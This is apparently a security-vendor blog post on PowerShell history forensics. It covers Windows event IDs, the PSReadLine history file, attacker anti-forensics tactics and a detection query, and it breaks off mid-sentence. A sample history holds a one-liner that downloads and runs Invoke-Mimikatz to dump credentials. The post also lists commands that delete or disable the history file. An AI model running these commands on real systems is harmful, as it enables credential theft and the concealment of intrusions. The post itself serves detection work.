PowerShell Command History Forensics

By Vikas 26 Aug 2020

Published: 2020-08-26 · Archived: 2026-04-05 18:21:31 UTC

Contents:

Overview

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

We have a separate blog which touches certain aspects of a malicious PowerShell script here - Decoding Malicious PowerShell Activity - A Case Study - Blog - Malware Questions - Sophos Community

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.

PowerShell and Windows Events

With Sophos EDR, you can use “PowerShell events suspected of using encoded or encrypted data” Live Discover Query. It outputs a list PowerShell processes and script block events that are suspected of using encoded or encrypted data.

On the host side of forensics, there are 3 places where we look for signs of suspicious PowerShell script or command execution whether it’s local or remote:

1. Application Event Logs

- Event ID 7045: Adversaries often attempt to register backdoors as Windows Services as a persistence mechanism i.e. survive reboots.

2. Windows PowerShell.evtx

- Event ID 400: The engine status is changed from None to Available. This event indicates the start of a PowerShell activity, whether local or remote.

The field ‘HostApplication’ might display the encoded bits used such as:

HostApplication=powershell.exe -
EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgAC0ATwBiAGoAZQBjAHQAIAAiAEgAZQBsAGwAbwAsACAAdwB
BkACEAIgA7AA==

- Event ID 600: indicates that providers such as WSMan start to perform a PowerShell activity on the system, for example, “Provider WSMan Is Started”.
- Event ID 403: The engine status is changed from Available to Stopped. This event records the completion of a PowerShell activity.

3. Microsoft-Windows-PowerShell/Operational.evtx

NOTE: This is not applicable for PowerShell 2.0

- Event ID 4103: Module Logging is disabled by default. If enabled, it will record portions of scripts, some de-obfuscated code, and some data formatted for output.
- Event ID 4104: Script Block Logging is enabled by default. It records blocks of code as they are executed by the PowerShell engine, thereby capturing the full contents of code executed by an attacker, including scripts and commands.

There’s a fourth place where we can potentially look from a forensics’ perspective. If commands are carried out on a PowerShell console, a session history i.e. list of commands entered during the current session is saved. On PowerShell versions < 5, a session specific history can be identified using the Get-History command. The list is lost if the session is closed.

Get-History

The Get-History cmdlet gets the session history, that is, the list of commands entered during the current session. Beginning in Windows PowerShell 3.0, the default value is **4096**.

PS C:\WINDOWS\system32> **Get-History**

Id CommandLine

-- -----------

1 (Get-PSReadlineOption).HistorySavePath

2 ping localhost

3 Test-Path ((Get-PSReadlineOption).HistorySavePath)

4 Get-History

5 powershell.exe -exec bypass -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke
Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

6 whoami

Console History File

The PSReadline module is installed and enabled by default starting from PowerShell v5 on Windows 10 onward. It is responsible for recording what is typed into the console. The default option is to save history to a file.

NOTE: PSReadLine is not included in the separately installed PowerShell 5 for previous versions of Windows. Thus, if you want to use the PowerShell command history functionality you will need to install the PSReadLine module separately.

The default location of this file:

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PSReadLine requires PowerShell 3.0, or newer, and the console host. It does not work in PowerShell ISE.

A sample output:

Adversarial Tactics

Attackers have been seen to delete forensic artifacts in the form of Windows Event Logs to cover their tracks. They may also clear the command history of a compromised account to conceal the commands executed during/after a successful intrusion. We'll discuss some of the possible tactics in detail.

Clear-History

By default, Clear-History deletes the entire command history from a PowerShell session but it does not delete/flush the PSReadLine command history file on the disk. This tactic would be useful for attackers on PowerShell versions <5 on Windows 7 / 8.1 / Windows Server 2008 / R2 / 2012R2 as there is no physical file containing the command history.

Backup/Restore History

Backup the existing file with a view to restore it after. e.g.

rename-item -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt

If they use PowerShell to perform this activity will result in this action to be logged.

Delete History File

The adversary could delete the history file from the PowerShell prompt at the end of a session:

remove-item -force -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Change PSReadline Configuration

An adversary may change the default behaviour of the PSReadline configuration and prevent the history of commands being recorded.

Set-PSReadlineOption -HistorySaveStyle SaveNothing

They could possibly re-enable it afterwards,

Set-PSReadlineOption -HistorySaveStyle SaveIncrementally

The act of changing the style of event history from a PS prompt would be logged. The presence of these commands in the history would be a red flag. It may sound like an over-kill but for the sake of completeness, it's worthy of a mention.

Investigation Tips

If you happen to stumble upon a rich ConsoleHost_history.txt like the one below, you're in luck.

If the last command(s) executed are surprisingly less or include:

Set-PSReadlineOption -HistorySaveStyle SaveIncrementally

or

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt

or

Clear-History

or

ConsoleHost_history.txt is not present on a machine.

It could mean that the history or the file it-self has been tampered with.

These Indicator of Compromise [IOCs] could help us identify what might have happened:

1. If the file was tampered with, we would like to identify if a non-PowerShell process such as Command Prompt or Windows Explorer was used to modify/delete the history file.
2. The “Creation Time” of ConsoleHost_history.txt is fairly recent. This could indicate that the attacker deleted the previous file and it has been automatically generated when PowerShell was executed again.
3. If we recorded any process related detail which had the following command-line:

- -HistorySaveStyle SaveNothin

The following Live Discover Query could be used prior to the investigation of the actual ConsoleHost_history.txt file if you suspect any modification/deletion:

```
select CAST( datetime(sfj.time,'unixepoch') AS TEXT) DATE_TIME,
sfj.subject,
CAST( datetime(sfj.creationtime,'unixepoch') AS TEXT) CREATION_DATE_TIME,
sfj.pathname,
spj.cmdline,
spj.sid
from sophos_file_journal sfj join sophos_process_journal spj on spj.sophosPID = sfj.sophosPID
where sfj.pathname like '%ConsoleHost_history.txt' and spj.cmdline not like '%powershell%';
```

If the file has been deleted by Explorer.exe, the output should be similar to: